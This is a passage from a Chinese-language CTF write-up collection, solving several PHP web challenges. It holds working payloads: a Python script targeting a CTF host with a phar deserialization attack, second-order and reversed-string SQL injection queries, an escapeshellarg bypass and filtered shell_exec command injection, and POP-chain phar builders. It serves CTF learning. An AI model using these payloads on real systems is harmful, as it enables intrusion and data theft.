s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("1.phar", "wb")
f_gzip.write(new_file)
f_gzip.close()
接下来就是写入文件了,因为我们要把整个文件的内容作为参数的值传入,那么这里用python脚本来实现
先获得一下get请求的写入文件的序列化字符串
<?php
class A {
public $config="w";
}
$a=new A();
echo serialize($a);
// O:1:"A":1:{s:6:"config";s:1:"w";}
然后写python脚本,来源:http://xilzy666.gitee.io/xilzy/2022/03/05/nss-prize1-2/
import requests
import re
url="http://node4.anna.nssctf.cn:28083/"
### 写入phar文件
with open("1.phar",'rb') as f:
data1={'0[]':f.read()} #注意这里要传数组,来绕过waf
param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
p1 = requests.post(url=url, params=param1,data=data1)
#print(p1.text)
### 读phar文件,触发反序列化
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
p2.encoding="utf-8"
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text) #用正则匹配匹配post包的response.text里的‘NSSCTF{xxxxxx}’
print(flag)
运行脚本即可获得flag
[October 2019]Twice SQL Injection
二次注入
进入题目,提供了一个注册功能和一个登录功能
随便注册一个账号,登录进去发现可以修改info,猜测查询的info内容会随着用户名改变
测试一下注入点
更改info处可以发现一些符号传入会被转义
结合题目名称猜测存在二次注入,那应该是利用注册+登录的功能进行注入
测试发现是单引号闭合,注册username:1' union select database()#
,密码任意
然后登录
可以发现成功回显数据库名
那接下来就用同样的方式查表
1' union select group_concat(table_name) from information_schema.tables where database()=table_schema#
返回flag,news,users
查列名
1' union select group_concat(column_name) from information_schema.columns where table_name="flag"#
返回flag
查字段
1' union select group_concat(flag) from flag#
[广东强网杯 2021 团队组]love_Pokemon
rce
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}
}
function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}
switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}
?>
审计代码,看到一个hint.php,我们先尝试满足读取它的条件
首先是myfavorite=bulbasaur!
,然后看下面的if判断语句if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level))))
,很明显这里考的是escapeshellarg
的特性
escapeshellarg
把字符串转码为可以在 shell 命令里使用的参数
escapeshellarg()
将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数
而这个函数在处理超过 ASCII 码范围的字符的时候会直接过滤掉该字符,也就是会自动过滤掉不可见的字符
那么我们只需要用一个不可见字符绕过即可,这里用%81
payload:
myfavorite=bulbasaur!&levelup=lv%81100
f12,发现成功读取到hint.php
<?php $hint = 'flag is located in / , and NAME IS FLAG';?>
得到flag的路径为/FLAG
那么接下来就是思考如何rce得到底下的shell_exec
进行命令执行
首先我们输入的参数dream的值长度要小于20,然后进行过滤匹配,那么取反异或之类应该是用不了了
过滤了大量字符,首先是空格,这里可以用%09
来代替
然后是读取命令,翻了一下常规读取命令的字符好像都被ban了,这里要用od
命令以八进制来读取
接下来是文件名,flag,通配符*
和?
都被ban了,那只能考虑用[]
通配了,由于黑名单中有A和L这两个字符,因此构造F[B-Z][@-Z]G
,这样就能匹配上 ASCII 表中的@到Z之间的所有字符
payload:
myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G
然后八进制解码一下即可得到flag
dump = "0000000 051516 041523 043124 030573 062464 033460 030067 026543 0000020 060546 030470 032055 034142 026542 033471 061471 032455 0000040 061145 030142 060462 032060 034067 076460 000012 0000055"
octs = [("0o" + n) for n in dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:
if (len(hex(n)) > 4):
swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
result += swapped[2:].zfill(4)
print(bytes.fromhex(result).decode())
[UUCTF 2022 新生赛]ezsql
sql注入
进入题目,给了个登录框,随便输入一下,发现回显了整个sql语句和结果
SELECT * FROM users WHERE passwd=('1') AND username=('1') LIMIT 0,1
直接在passwd处注入,发现我们的输入会被反转,尝试万能密码,注意闭合括号,善用python进行反转操作
?user=nimda&password=+--1=1 ro )'1
成功回显
直接联合注入
判断回显位
?user=nimda&password=+-- 2,1 tceles noinu )'1-
回显只到2
查数据库名
+-- )(esabatad,1 tceles noinu )'1-
返回UUCTF
查表名,此时发现group和from中的ro
被替换为空了,可以双写绕过
+--'FTCUU'=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,1 tceles noinu )'1-
返回flag,users
查列名
+-- 'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,1 tceles noinu )'1-
返回UUCTF
查字段
+-- galf moorrf )FTCUU(tacnoc_puoorrg,1 tceles noinu )'1-
得到flag
[SWPU 2018]SimplePHP
phar反序列化
进入题目,给了一个查看文件和一个上传文件的功能
查看文件处/file.php?file=存在任意文件读取
index.php
<?php
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
base.php
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
可知flag在f1ag.php,不过我们不能直接读
file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
设置了open_basedir在/var/www/html,这里可以看到实例化了一个Show类,用了file_exists
函数,猜测有phar反序列化
function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
限制上传的文件类型为gif,jpeg,jpg,png
class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
确实存在反序列化,那么就是phar文件上传了,利用点在Test类的file_get方法中的file_get_contents,用这个可以读到f1ag.php
upload_file.php
<?php
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>
</script>
</body>
</html>
接下来构造pop链
C1e4r::__destruct -> Show::__toString -> Test::__get -> Test::get -> Test::file_get
构造phar包
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
}
$o=new C1e4r();
$o->str=new Show();
$o->str->str['str']=new Test();
$o->str->str['str']->params['source']="/var/www/html/f1ag.php";
@unlink('test.phar'); //删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$phar->setMetadata($o); //写入meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();//签名自动计算
上传抓包改后缀为png
在查看文件处用伪协议
注意文件名被md5加密过了我们得copy逻辑下来自己生成一下,remote_addr就在页面右上角
<?php
$filename = md5("test.png"."223.104.51.43").".jpg";
echo($filename);
?>
payload:
/file.php?file=phar://upload/dcc6c867e1c692bd3eebb04855a90ad0.jpg
base64解码读取的内容即可
[FSCTF 2023]ez_php1
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) {
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>
md5弱类型比较
payload:
GET: ?a=QNKCDZO&b=240610708
POST: FL_AG=
得到hint1:L0vey0U.php
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
echo "$hint2";
}
?>
本地生成一下序列化字符串
<?php
echo serialize("YES I love");
?>
payload:
/L0vey0U.php?str=s:10:"YES I love";
得到hint2:P0int.php
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
?>
很明显这里的属性a已经读取到flag了,我们要做的就是让属性b的值指向a来输出flag,也就是要引用赋值,让b=&a
exp:
<?php
class Clazz
{
public $a;
public $b;
public function __construct()
{
$this->b = &$this->a;
}
}
$a=new Clazz();
echo serialize($a);
?>
把输出的内容base64解码得到flag